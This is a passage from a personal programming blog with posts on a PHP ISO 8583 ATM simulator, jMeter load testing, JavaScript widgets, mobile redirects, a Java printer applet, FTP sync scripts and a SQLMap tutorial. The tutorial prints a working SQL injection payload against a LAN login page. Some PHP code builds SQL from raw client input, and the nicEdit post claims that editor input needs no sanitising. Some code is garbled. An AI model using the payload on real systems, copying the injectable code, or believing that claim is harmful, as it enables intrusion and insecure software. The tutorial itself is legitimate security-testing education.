The ATM Simulator (People Hate Pearl!)

So, this is a proof-of-concept of ISO 8583 messaging in PHP. Everything you want to know about ISO 8583 (a complete) theory you can read at wikipedia page: http://en.wikipedia.org/wiki/ISO_8583. Anyway, article below will describe you a practical thing and technical work on how to understanding PHP socket programming - which is the core of ISO 8583. In short words: creating the ATM simulator with PHP!

Basically, ATM a.k.a ISO 8583 messaging using network socket to communicate between server and client. Take a look at general system activity defined below:


At first, server listening at specified address and port number, then client (for example: ATM) providing a block of ISO 8583 code to server (let say, client sending an account number). Server accepting command and parsing the code, continued to querying to backend. The result will returned back to client. Client accepting and parsing it again, and finally delivering a human-readable characters to the ATM screen.

To understand on how to developing the application, make sure that you:
  1. Familiar with PHP language.
  2. Able to use your favorite database client to create a single table.
  3.  Know the ISO 8583 philosophy.
  4. Having a PC with Apache & PHP enabled, also telnet client ready will help you much further. Windows (WAMP) and Mac OS (MAMP) is a great idea!

To start to build the application, keep in mind that there's 2 sequence things to create: SOCKET COMMUNICATION and ISO 8583 INTEGRATION.

SOCKET COMMUNICATION
This is a framework, since we need to create both different server and client applications that can interact using network socket. A server is listening and responding while client is sending and accepting. This is server code, save it with svr.php and store somewhere in your web server:

<?
error_reporting(E_ALL);
ob_implicit_flush();
$address = '10.2.2.212';
$port = 1234;
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
if (socket_bind($sock, $address, $port) === false)
{
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1))
{
echo socket_strerror(socket_last_error($sock));
exit;
}
}
if (socket_listen($sock, 5) === false)
{
echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
do
{
if (($msgsock = socket_accept($sock)) === false)
{
echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
break;
}
$msg = "\nPOC-ISO Telnet Test. \n" .
"ketik 'quit' buat keluar, cuy...\n";
        socket_write($msgsock, $msg, strlen($msg));
        do
        {
        if (false === ($buf = socket_read($msgsock, 2048)))
        {
echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf))
{
continue;
}
if ($buf == 'quit')
{
break;
}
$talkback = 'Response Server: ' . $buf;
$talkback = $talkback . "\n";br /> socket_write($msgsock, $talkback, strlen($talkback));
//===========================================
echo "$talkback\n";
}
while (true);
socket_close($msgsock);
}
while (true);
socket_close($sock);
?>

Run svr.php code with -q parameter and try to connect to server from telnet command. What? Telnet? Yup, that's why telnet client needed in our existing article - to test the svr.php code. Look at picture below:


Send a free-string and look what the server response from telnet window or simply type 'quit' to quit. If svr.php looks fine, now you can continue to client code. Below is the client code socket core, save it with cli.php and store it to a path in your pub html web server.

<?
$host="10.2.2.212";
$port = 1234;
$message = 'HELLO 1234, apa bisa di copy ganti?';
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Error: SOCKET\n");
$result = socket_connect($socket, $host, $port) or die("Error: JARINGAN\n");
socket_read ($socket, 2048) or die("Error: RESP\n");

$message = $message . "\n";socket_write($socket, $message, strlen($message)) or die("Error: DATA\n");
$result = socket_read($socket, 2048) or die("Error: RESP\n");
socket_write($socket, "quit", 4) or die("Error: QUIT\n");

echo $result;?>

Also, run client code cli.php with -q parameter from second terminal while svr.php still remains active in first terminal window. If the code is right, both will response the same message sent from cli.php. And finally the first thing of socket communication is done!

ISO 8583 INTEGRATION
Before we implement ISO 8583 method in both codes above, we need to define a table test which simulate the back-end storage. In my experiment, it's only a single table. Look ak the picture below:


After creating table, continue to download a PHP class named by JAK8583 from PHPClasses.org. Download it from http://www.phpclasses.org/package/5398-PHP-Generate-and-parse-ISO-8583-transaction-messages.html. This class mainly purposed for ISO 8583 builder and parser, so you need to attach both svr.php and cli.php to this class.

Meanwhile, prepare client code (cli.php) into an ATM look-a-like interface. Contains several pages start from initiation until finish transaction (index, input, resp, output and error landing page). Let say, this below is a welcome interface (index):


The rule of this simulator is simple. User typing in 10 digit account number from input page, server will validating it from database and returning back the result to the simulator screen. So, here below is the input page.


Now, let's modify cli.php with sending and catching capabilities. Note that it also containing ISO 8583 builder and parser (and client side validation) :


<?php
if ($_POST['submit'])
{
$host="10.2.2.212";
$port = 1234;
$no_rek = $_POST['no_rek'];
//===========================================
// =========== ISO-8583 BUILDER =============
//===========================================
include_once('JAK8583.class.php');
$jak = new JAK8583();
$jak->addMTI('1800');
$jak->addData(2, $no_rek);
$jak->addData(54, '000000');
$jak->addData(43, 'XXXXXXXXX');
$jak->addData(7, '000000');
$message = $jak->getISO();
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Error: SOCKET\n");
$result = socket_connect($socket, $host, $port) or die("Error: JARINGAN\n");
socket_read ($socket, 2048) or die("Error: RESP\n");
$message = $message . "\n";
socket_write($socket, $message, strlen($message)) or die("Error: DATA\n");
$result = socket_read($socket, 2048) or die("Error: RESP\n");
socket_write($socket, "quit", 4) or die("Error: QUIT\n");
//===========================================
// =========== ISO-8583 PARSER ==============
//===========================================
//echo $result;
$jak = new JAK8583();
$jak->addISO($result);
if ($jak->getMTI()=='1810')
{
$data_element=$jak->getData();
$no_id=$data_element[2];
$nama=$data_element[43];
$nominal=$data_element[54];
$bln=$data_element[7];

if ($nama=='XXXXXXXXX')
{
header('Location: err.php');
exit;
}
}
else
{
header('Location: err.php');
exit;
}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>POC-ISO</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>


<body bgcolor="#0066CC">
<p align="center"><font color="#FFFFFF"><strong><font size="3">KONFIRMASI PEMBAYARAN
  <br>
  ========================= </font></strong></font></p>
<p align="center">&nbsp;</p>
<form name="fInput" method="post" action="output.php">
  <div align="center">
    <table width="75%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="90%" rowspan="3"><div align="center">
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="53%"><font color="#FFFFFF" size="3"><strong>ID PELANGGAN</strong></font></td>
                <td width="2%"><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td width="45%"><font color="#FFFFFF" size="3"><strong><?=$no_id?></strong></font></td>
              </tr>
              <tr>
                <td><font color="#FFFFFF" size="3"><strong>NAMA</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong><?=$nama?></strong></font></td>
              </tr>
              <tr>
                <td><font color="#FFFFFF" size="3"><strong>BULAN TAGIHAN</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong><?=$bln?></strong></font></td>
              </tr>
              <tr>
                <td><font color="#FFFFFF" size="3"><strong>JUMLAH TAGIHAN</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong><?=$nominal?></strong></font></td>
              </tr>
            </table>
          </div></td>
        <td width="10%"><div align="right">
            <input type="submit" name="submit" value="--&gt; BAYAR">
          </div></td>
      </tr>
      <tr>
        <td><div align="right"> </div></td>
      </tr>
      <tr>
        <td><div align="right">
            <input type="button" name="Button3" value="--&gt; BATAL" onClick="document.location.href='input.php'">
          </div></td>
      </tr>
    </table>
  </div>
</form>


<table width="75%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><font color="#FFFFFF" size="3"><strong>RESP :</strong></font><font color="#FFFFFF" size="3"><strong>
      <br>
      <?=$message?>
      </strong></font></td>
  </tr>
  <tr>
    <td><font color="#FFFFFF" size="3"><strong>RECP :</strong></font><font color="#FFFFFF" size="3"><strong>
      <br><?=$result?>
      </strong></font></td>
  </tr>
</table>
</body>
</html>


Saved it as resp.php (means response). If validation returned false - for example entering only 3 digit from input box, the screen will automatically redirecting to error page, just like picture below:


Picture above displayed after we input a wrong account number. There's no such "123" account number on database. Try to typing a correct account number and re-submit again. The response page will displayed like picture below:


Take a note at both ISO 8583 code in a red box above (RESP and RECP). RESP (response) code is ISO 8583 builder code sent from client to server. While RECP (receipt) code is parser code sent from server to client. Anyway, here's below svr.php code improvement containing connection to the database (MySQL) :

<?
error_reporting(E_ALL);
ob_implicit_flush();
$address = '10.2.2.212';
$port = 1234;

//===========================================
// DB
//===========================================
include_once('JAK8583.class.php');
ini_set('display_error',1);
define("DB_HOST", "your.db.svr.host");
define("DB_USER", "db_user_name");
define("DB_PASS", "db_passwd");define("DB_NAME", "db_name");
$link=mysql_connect(DB_HOST,DB_USER,DB_PASS);
mysql_select_db(DB_NAME);
mysql_query("SET time_zone='Asia/Jakarta'");
//===========================================

$sock = socket_create(AF_INET, SOCK_STREAM, 0);
if (socket_bind($sock, $address, $port) === false)
{
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1))
{
echo socket_strerror(socket_last_error($sock));
exit;
}
}
if (socket_listen($sock, 5) === false)
{
echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}


do
{
if (($msgsock = socket_accept($sock)) === false)
{
echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
break;
}
$msg = "\nPOC-ISO Telnet Test. \n" .
"ketik 'quit' buat keluar, cuy...\n";
        socket_write($msgsock, $msg, strlen($msg));
        do
        {
        if (false === ($buf = socket_read($msgsock, 2048)))
        {
echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf))
{
continue;
}
if ($buf == 'quit')
{
break;
}
$jak = new JAK8583();
$jak->addISO($buf);

if ($jak->getMTI()=='1800') // Dari Client
{
$data_element=$jak->getData();
$no_id=$data_element[2];

$perintah="select * from trx where no_id='$no_id'";

$hasil=mysql_query($perintah);
$n_data=mysql_num_rows($hasil);
$jak = new JAK8583();
$jak->addMTI('1810');
if ($n_data==1)
 {  while ($row=mysql_fetch_array($hasil))
{
$no_id=$row["no_id"];
$nama=$row["nama"];
$bln=$row["bln"];
$nominal=$row["nominal"];
}
>
$jak->addData(2, $no_id);

$jak->addData(43, $nama);
$jak->addData(54, $nominal);
$jak->addData(7, $bln);
}
else
{
$no_id = 'ERR000';$jak->addData(2, $no_id);
$jak->addData(43, 'XXXXXXXXX');
$jak->addData(54, '000000');
$jak->addData(7, '000000');
}
}
$talkback = $jak->getISO(); $talkback = $talkback . "\n"; socket_write($msgsock, $talkback, strlen($talkback)); //===========================================
echo "$n_data|$buf|$perintah|$buf|$talkback|$no_id|$nama|$bln|$nominal\n";
}
while (true);
socket_close($msgsock);
}
while (true);
socket_close($sock);
?>

Ok, so far you can learn on how to validate input from database and returning back the result to client screen. Now you can also try to extend the functionality to create a valid payable transaction if user submit from the simulator that will simulated balance subtraction. For example, after submitted, the screen will change to greeting screen or notification which say that the transaction is over and also displaying the last balance, just like picture below :


That's it for the client simulator. Meanwhile from svr.php code above, we can monitoring the throughput of the transaction in server terminal window. The red box sign tell that validation returning false result, while green color is a valid transaction.


CONCLUSION:
Since ISO 8583 messaging interoperability involving 2 or more companies (in fact the bank and merchant eventually) in a real world, each from both programmer must deal with such formats; ISO 8583 year version, header, MTI, Data Element format, server address and port. The rest, it's a character manipulation module anyway! Have a great ISO 8583 coding and share your experience below. Thank's for ever coming here.

Labels: , , , ,

  Post a Comment

One Minute Article About System Testing

So much pseudo-language articles we found on internet about software testing theories. For example, take a look at this "official" wikipedia page. There's huge of weird words that may confused some computer-college-newbies who want to learn about software testing. Also some overlapped procedures I found about several Performance Testing types on http://en.wikipedia.org/ wiki/Software_performance_testing. It's said that load testing & stress testing are types of performance testing. But it's contrary with the main page (http://en.wikipedia.org/wiki/System_testing) which said that both terms are typically system testing, so and so. Anyway, recently many peoples use these terms interchangeably. Lots talking about the words of "stress test…", "…performance test…" & "…load test", but they didn't know what the objectives is. In fact, it has quite different meanings.

Here's My Theory...

As theoretically, the best software testing model is always follow from it literatures - a standard one I meant. There are hundreds step that must be done sequentially, need additional peoples involved to work on it, also complete of infrastructure to support it, also huge of times to take and also lot of money to spend, etc, etc. So, based on my own practical experiences - in a minimal set of peoples - the software testing life-cycle can be cut to 3 sub-sequences-types (as it follow on the picture below); (1) Performance Test, (2) Load test, and (3) Stress Test.


Why? Here's the reasons:

1. Performance Test
This is baseline test. The test running in a static maximal number of concurrent user (X) as expected the system will hit. Various results at the end, will tuning some of critical points: the application level (block-code or algorithm changes), the database level (SQL code or query optimizing) and the server level (profiling OS and some other specific configurations). The network level is at the end of this boundary tuning. Tens of experiment s giving the best mix and match about the whole combinations, where the system can serve it optimum functionality. The goal of this test is : eliminating what can cause bottleneck and exactly increasing performance.

2. Load Test
Load testing often called as volume testing. The test start with maximal number of concurrent users (X) provided from test #1 and increasing to relevant number (Y) by increment of some number (Z). The goal is : to find highest number of load that the system can accept while still function constantly and properly. At the end of this test, hardware and network resources may need increased as it predicted. The scaling-up factor should improved vertically or horizontally, which give best value for money to spend efficiently and effectively.

3. Stress Test
The goal of the test is to ensure that the system recoverability functioned properly after the system down. This is important, since we also need to know how the system reacts to failure, including the interoperability of DRC infrastructure to work.

Again, these 3 software testing cycle above came from my logical thinking considering to small scale of peoples involved in a project. It is opened for debate on below comment box...

Technical Work

As basically, software testing tool purposed to measure performance, for exactly to know throughput and response time. Both number are main objectives of overall testing. Anyway, tons of software testing tool are available, but few of it are easy to operate and less, bit of it are free (See this source: http://en.wikipedia.org/wiki/Load_testing#Load_testing_tools). jMeter (http://jmeter.apache.org/) seems to be relevant to use. As is to others, it provide comprehensive way to "burn" the system anyway and providing easy-to-doing operation.

jMeter is a desktop application built from Java, such that, it's an independent platform and have ability to run on several OS platform (including my Mac :) - with Java Runtime installed of-course. To learn how to make a test, download latest version of jMeter and extract it somewhere on your PC.


Execute jMeter from bin folder by clicking ApachejMeter.jar file. After it launched - on the left pane - you'll see only 2 menu; Test Plan and WorkBench menu. The Test Plan describe about what the test physically do, while WorkBench define in-contrary (it's highly needed to create scenarios). Don't get confused, since this tools are designed for developer, you'll familiar to use in a day. Anyway, just like peoples shout, this tools lack of graphical report. A basic report viewer contains data listed on a table can be viewed from Add::Listener sub-menu:


However, it seem so hard understand to read the test result. So, before we take a test, so I hardly recommend to having a plugins called Statistical Aggregate Report. Download (StatAggVisualizer.zip ~ 1.8MB) and extract it. You'll see the same composition just like picture below:


Move the 3 files (jcommon-1.0.5.jar, jdnc-0.6-aR.jar and jfreechart-1.0.2.jar) to jMeter lib folder and move every files under ext to ext folder. After restart jMeter, you'll see the plugins in Add::Listener sub-menu:


So, we're getting ready to take a test. First, take a look picture below. Here's a basic skeleton of jMeter:


Add the appropriate 6 basic components under Test Plan and WorkBench menu just like above image. After it done, now we start to record the activities from browser and create a test scenario. But, we need to make browser's proxy heading to jMeter HTTP Proxy server (locally). So, open browser proxy configuration (I particularly using Firefox) and set to localhost with port 8080.


Close the browser configuration and back to HTTP Request Defaults menu on jMeter. Set the web server IP where we'll open the application (for this test, my application is ready on 10.2.2.212).


Until this point, we need an application to test - a single web based application, but jMeter seems able to run others too. In my experience, I use what I developed before: Yet Another Concept of Custom Manageable FTP - a PHP based FTP client. Since jMeter capable to handling FTP burning test, so the scenario is to measure uploading process simultaneously by number of users.


Now, we're doing a scenario recording by running some scene we've like to test. It's better to measure from login session until logout sequentially. If you've done it, now take view back to jMeter Recording Controller pane. See that the scenario recording process is created automatically.


At this point, we need to take a bit adjustment from the scenarios. At least (optionally) modifying the server IP on each HTTP request window. Here in my app test, I also add full path to the object file required for uploading process.


Next, let's try burning it for once. Click green start button to start the test. This test - as default - will only executing a single of thread (by means, one user for one loop). Click the Statistical Aggregate Report to show the visual graph:


Take a look at the result, the total throughput was 7.6/min. It's means that the server can accept 7.6 request per minute (from single thread). While response time showing 7,840ms (7.8 sec) as per process (by the Average column). Now, how about making a test with some number of concurrent users? For this, first you need to remove and add a new Statistical Aggregate Report. Then, modify thread number from Thread Group menu.


Here I change the number the thread (users) to 100 and leave loop time to 1. It's mean that the application will hit with 100 users simultaneously. Ready to start, click the green icon, wait until it done (from green box until it show gray) and here below the result:


From picture above, let's try to count the TPS (Transaction Per Second). This can be calculated by dividing the number of threads with total amount of times needed to finish the test (in seconds). So, the test equal with 0.91 TPS from 100 concurrent users at the same time. Note that this is local testing condition, no network-simulator used on it. For better result, please combine bandwidth limiter, sniffer or other networks tools to the test environment.

Based on previous test, some improvement needed in application level, database and OS to remove existing system bottleneck, also increasing TPS calculation in the next testing and gain higher number of concurrent users. The higher TPS calculation means more efficient system. This is what I called as Performance Test, to get the mix and match overall system configuration.

Concurrent User vs Transaction Per Second

As I said before, the thread number reflecting concurrent user accessing the system at the same time. In a real world system, calculating concurrent users can be done from additional built-in statistical software assist (eg: MRTG or other statistical software). For easy example, we can count it using Google Analytics (GA) free service. Take a look an example graph below, where I combined a web page with GA. The data provided in a specified month (April for example):


Set the appropriate time range in April to get the amount of visitor and average visit time. The concurrent users can be calculated using formula as follow:

concurrent_users = (monthly_visits x time_on_site) / (3600 x 24 x 30)

From the picture, we got 110,055 total visitor with average 2 mins and 36 sec of visit time (equal with 156 sec). So, here the concurrent users:

concurrent_users = (110,055,963 x 156 sec) / (3600 x 24 x 30)
concurrent_users = (17,168,580) / (2,592,000)
concurrent_users = 6.62 users

Conclusion

Software testing is an interesting topic - as a part of software development - and it need to be done frequently to maintain the system performance and scalability. However, some projects ignore this procedure to cut down operational cost that may bring another future possibility of  potential expense (eg: hardware replacement or anything else). The using of jMeter just for an example, it's a learning media for beginner about knowing behind-the-scene of creating the scenario work-flow. Please add your comment below and thank's for stay tune on this blog.

Labels: , , ,

  Post a Comment

nicEdit and Galleriffic: Great to Use!

Couple times ago, some readers of this blog gave me questions by email about is there any better client side text editor or the best slide show picture thumbnails available to put into their web based application? A lots! But just a few which absolutely flexible and more customizable. After researching in a weeks, finally I choose nicEdit for the best text editor and Galleriffic for the best slide show picture thumbnails. Both are jQuery based libraries and I succeeded using it in my latest online project on http://www.picanto-indonesia.com.

nicEdit
So what is so special about it? First, it has modern UI look of text editor similar to any word processor softwares with complete iconic built-in on top of it.


Secondly, this library is easy to use (even for beginner programmer I tough) since all I need is only to copy-paste the code with less modification to fit in the page (for example: the image upload function). The default image upload function in it's code is using imageshack.us server to store the files. Hence, for anyone who desire to move the image destination to their own server, there's available PHP plug-in file to use named as nicUpload.php. Just fill the target owned directory, included it in nicEdit.js and vice versa!


There's about no worry to inject the word we type in the edit box into the database, because we only take a single finalized variable to use. No more any securing function needed for this. And ... it's all free to use :)

Galleriffic
Hundreds of slide show plug-ins available on the net. It offering the same features; showing images with some effects. But a slide show without thumbnails and pagination means useless, after all, it's not a gallery. Based on it's name, Galleriffic offering a luxury features I described before. Although it's designed for flickr.com (CMIIW), it's modifiable to use to any web based software.


A small problem found when I need to fit the image in a specified size. Since flickr has 3 different file sizes (large, medium & small) after a picture uploaded, so I need to modifying and add a line in galleriffic.css file to make it fit in size from 1 image source.


So, problem is now solved. This gallery module look nice to see (even I need an additional blank space in bottom of it to handling a portrait type picture). That's it and ... thanks for reading. Have a good day :)

Labels: , ,

  Post a Comment

A Simple Way to Detecting Mobile Browser

Mobile browser is totally different from regular browser. There are several limitations why it so. For one reason, it has smaller screen to displaying the app and of course the mobile hardware it self. Such that, the interpreter in mobile browser are made in "mini-scale".

Tough, the mobile browser is designed to interpreting basic html only (not that complex as regular full web version) since it potentially affecting the performance of the mobile hardware or it may hung-up the device if they try to loading a large full web version.

The creator of custom site portal often create two kind of projects; full web version & mobile version. The mobile version is a limited version of regular one, which actually have some basic features in a basic display template.

There's an up-to-date documentation describing about mobile browser completely (including the engine inside) you can found in http://en.wikipedia.org/wiki/Mobile_browser.

Also, several ways you can get from Google to detecting wether the visitors come from regular browser or mobile device. You can use an .htaccess feature, custom PHP module, .NET mobile detector scripts, etc.

But here below a simple how-to detecting and forward the visitors which come from mobile device.

<title>Hello world</title>
Browser checking, please wait…
<hr>
<script type="text/javascript">
function isMobile() {
var index = navigator.appVersion.indexOf("Mobile");
return (index > -1);
}
</script>
<script>
if (isMobile()) document.location='http://m.yourdomain.com';
else document.location='http://www.yourdomain.com';
</script>


Yup, it only use a single line of Javascript syntax. So, if it's from mobile device then forward it to mobile version. But first, make sure that you should provide both different index file on both URLs. That's all!

Labels: , ,

  Post a Comment

Basic Hacking with SQLMap

Mostly, web programmers didn't care about how to protect their website project from hackers. They always depends on infrastructure outside the servers (the firewall, the proxy or something else). Such of it, it's very important to announce security points of programming to newbie web programmers. At least they'll learn securing application logic from beneath.

So much hacking techniques what hacker often did, from basic Cross Site Scripting (XSS) until SQL Injection, etc. Those techniques may range from a bit risk to a significant security damage.

Before a website project launched for public, it is recommended to run the security test in order to make sure that the project already secured for hackers - in basic ways. There's some tools available on the internet to help the test running. One of the tools named as SQLMap, it's an open source project. SQLMap - AFAIK - is more complete to do some SQL injection tests and much powerful than Havij.

To get start, download the latest SQLMap from sourceforge.net. Also make sure that Python package already installed on your system since SQLMap is a Python script based.



Assume that you have a web target to test (in this article, I use my friend's server on LAN). All I'm doing is touching the login page (index.php). Look below pictures, there's only 2 variable contains on that page (username & password) with POST method referring to cek_login.php file.



According to bit information above, open terminal or command prompt (for Windows) and enter below syntax :

Eko-Wahyudihartos-iMac:sqlmap ekowahyudiharto$ python sqlmap.py -u "http://10.2.2.144/arsip/admin/cek_login.php" method "POST" --data "username=xxxx" -f


Look wait wait for the response:

sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[*] starting at: 10:38:31

[10:38:31] [INFO] using '/Users/ekowahyudiharto/sqlmap/output/10.2.2.144/session' as session file
[10:38:31] [INFO] testing connection to the target url
[10:38:31] [INFO] testing if the url is stable, wait a few seconds
[10:38:32] [INFO] url is stable
[10:38:32] [INFO] testing if POST parameter 'username' is dynamic
[10:38:32] [WARNING] POST parameter 'username' is not dynamic
[10:38:32] [WARNING] heuristic test shows that POST parameter 'username' might not be injectable
[10:38:32] [INFO] testing sql injection on POST parameter 'username'
[10:38:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:38:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:38:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:38:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:38:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:38:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:38:33] [INFO] testing 'Oracle AND time-based blind'
[10:38:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
sqlmap got a 302 redirect to media.php - What target address do you want to use from now on? http://10.2.2.144:80/arsip/admin/cek_login.php (default) or provide another target address based also on the redirection got from the application

>
[10:38:41] [INFO] target url appears to be UNION injectable with 6 columns
[10:38:41] [INFO] POST parameter 'username' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
POST parameter 'username' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 101 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: username=xxxx' UNION ALL SELECT CONCAT(CHAR(58,99,120,117,58),CHAR(88,99,102,100,86,121,111,76,88,88),CHAR(58,104,104,108,58)), NULL, NULL, NULL, NULL, NULL# AND 'OghT'='OghT
---

[10:39:06] [INFO] testing MySQL
[10:39:06] [INFO] confirming MySQL
[10:39:06] [INFO] the back-end DBMS is MySQL
[10:39:06] [INFO] actively fingerprinting MySQL
[10:39:06] [INFO] executing MySQL comment injection fingerprint

web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.75
[10:39:10] [INFO] Fetched data logged to text files under '/Users/ekowahyudiharto/sqlmap/output/10.2.2.144'

[*] shutting down at: 10:39:10


Look at the response above!



Attention: this article describes a very basic information about how to make a security test on web based application, therefore also containing illegal material on it. More explorations needed to gain advantages to the using of SQLMap. The SQLMap on this article is used only for educational purposed only.

Credit: Thanks to Kadek Eva Suputra for giving me server & project experiment to test and I Wayan Chandra Winetra for giving me a brilliant topic to review.

Labels: , , , , ,

  Post a Comment

Make DHTML more Dynamic with Java Applet

In a rarely cases, DHTML is not enough only with the use of Javascript. Some specific purpose in a web page just couldn't be supplied with it. Basically, Javascript has several limitations, especially in a page that need to retrieve information related to local machine resources.

Let say - for example - how to list printer names (on web based application) that installed locally in local machine? Without ActiveX object available in Windows & Internet Explorer browser, there is no option to gain with it. So, what's so special with "Dynamic" terms in DHTML if it stuck with specific OS's or browser? Please pay attention, Java Applet is the only key for the answer (multi-platform, multi-OS & multi-browser - theoretically :).

Well, I'm not a Java expert that order you to moved to become a Java programmer since my self is not included to the statement. Anyway - on this chance - I just tried to tells that "there's many ways to Rome", there's lots of things we can do to make our web page function properly accepted, but there's only a way to list printer name installed in local machine. Just spread up your creativity, make a R&D & your done! This article dedicated to peoples who follows Method 8 Framework & founder of jZebra (Hi, Tres. Looks like I need to modified the source :).

Before it started, imagine first: "I'm a new to Java programming, how can I make an applet?" and "Okay, I made it, so how can I embedded it to the page?" or "How can Java Applet communication with Javascript?"

As sequentially within the story, I'll share the answer. First of it, provide Netbeans & JDK installation file & configure it on your machine. Then, create an Applet project from Netbeans. On the example, I named both the project, class & java code with printName.

package printname;
import javax.print.PrintService;
import java.awt.print.PrinterJob;
import java.applet.Applet;
public class printName extends Applet {

public static void main(String[] args) {
String printerName;
printerName = menuList();
// just make a call to print out its value
System.out.println(printerName);
}

public static String menuList() {
// Lookup for the available print services.
PrintService[] printServices = PrinterJob.lookupPrintServices();

// Iterates the print services to a variable
String printerName = "";
for (PrintService printService : printServices) {
String name = printService.getName();
printerName = printerName + "#" + name;
}
return printerName;
}
}


Save & run above compiled code, you'll see that the applet will return a line of string of local printer name which separated with "#" character. Build & clean the code to make the JAR file.

Now, copy/upload the JAR file to the same folder where the HTML laid. Return to HTML editor & create a param tag to embed the JAR file. Also, create a dropdown select since we're gonna list that printer name from the applet to that object.

<html>
...
<script language="JavaScript">
function addOption(selectbox,text,value) {
var optn = document.createElement("OPTION");
optn.text = text;
optn.value = value;
selectbox.options.add(optn);
}

function removeAllOptions(selectbox) {
var i;
for(i=selectbox.options.length-1;i>=0;i--) {
selectbox.remove(i);
}
}

function fPrintName() {
var afPrintName = document.printName.menuList();
removeAllOptions(document.fInput.printerName);
addOption(document.fInput.printerName,'-- Pilih Printer --','');
if (afPrintName.length!=0) {
var namaPrinter = afPrintName.split('#');
n = namaPrinter.length;
for (var i=1; i<n; i++) {
addOption(document.fInput.printerName,namaPrinter[i],namaPrinter[i]);
}
}
}
</script>
<body onload="fPrintName();">
<applet name="printName" code="printname.printName.class" archive="printName.jar" width="1" height="1"></applet>
<form name="fInput">
<select name="printerName"></select>
</form></body>
...
</html>


Done, upload to the web server directory. Now, check your current printer from the control panel. There's 2 printers listed on my system.



Open your browser & locate to the html page. For the first usage, a standard permission window may appear since it need to confirm the security in the client side.




Finally, here come the result. The printer name now listed to the page.



CONCLUSION
The use of Java Applet on this case helping user to choose a selected printer name they want to print out with. It's useful to combine with jZebra since it only works with printer name that specified before. The Javascript core function located on fPrintName(). This function (first line -- document.printName.menuList()) purposed to communicate with the applet embedded in param tag, also to parse the string value returned from the applet. With 4kb of JAR executable size, this is so light-weight applet.

Labels: , , , ,

  Post a Comment

Auto-Synchronize Over FTP Link (RedHat & Ubuntu)

In a spesific programming case, database synchronization method will needed to accomodate data transfer between 2 or more servers. There are so much techniques we can adopt to make it work. And that's all depends on needs, business requirement, infrastructure availability & of course skill of you're own self.

Anyway, I don't wanna talk about synchronization techniques but actually, this latest article was begun from my previous one - Simple MySQL Replication Using FTP - when I implement automatically SQL file synchronization - using FTP protocol & by the help of crond daemon - between 2 RedHat (RHEL) server. The goal is that both servers having the same databases & tables (server A sending data to server B, server B sending data to server A).

However, the problem arises when one of the server changed the OS from RHEL to debian based (Ubuntu). While the automatic script I made from RHEL won't work on Ubuntu - especially the lines referring to FTP commands - bash shell script.

So, how to make the synchronization running again? No doubt, rewrite the script ASAP! Take a look at below script:

echo machine your.domain.or.ip > /root/.netrc
echo login your_username >> /root/.netrc
echo password your_password >> /root/.netrc
chmod 600 /root/.netrc

ftp your.domain.or.ip <<_FTP_
binary
put name.of.the.file
bye
_FTP_


Above is the code that only work on RHEL. While the FTP account created on separated file named by .netrc, this is not compatible to Ubuntu.

ftp -n -i <<_FTP_
open your.domain.or.ip
user your_username your_password
binary
put name.of.the.file
quit
_FTP_


Somehow, the FTP account initialization right on above script is integrated in the same script. And it just succedded running in Ubunru server. Moreover, there's no script affected in other servers. So, lesson of learning today is: never change server OS except you're ready for the impact. Deal?

Labels: , , , , , , ,

  Post a Comment

OpenID: For Future Authentication?

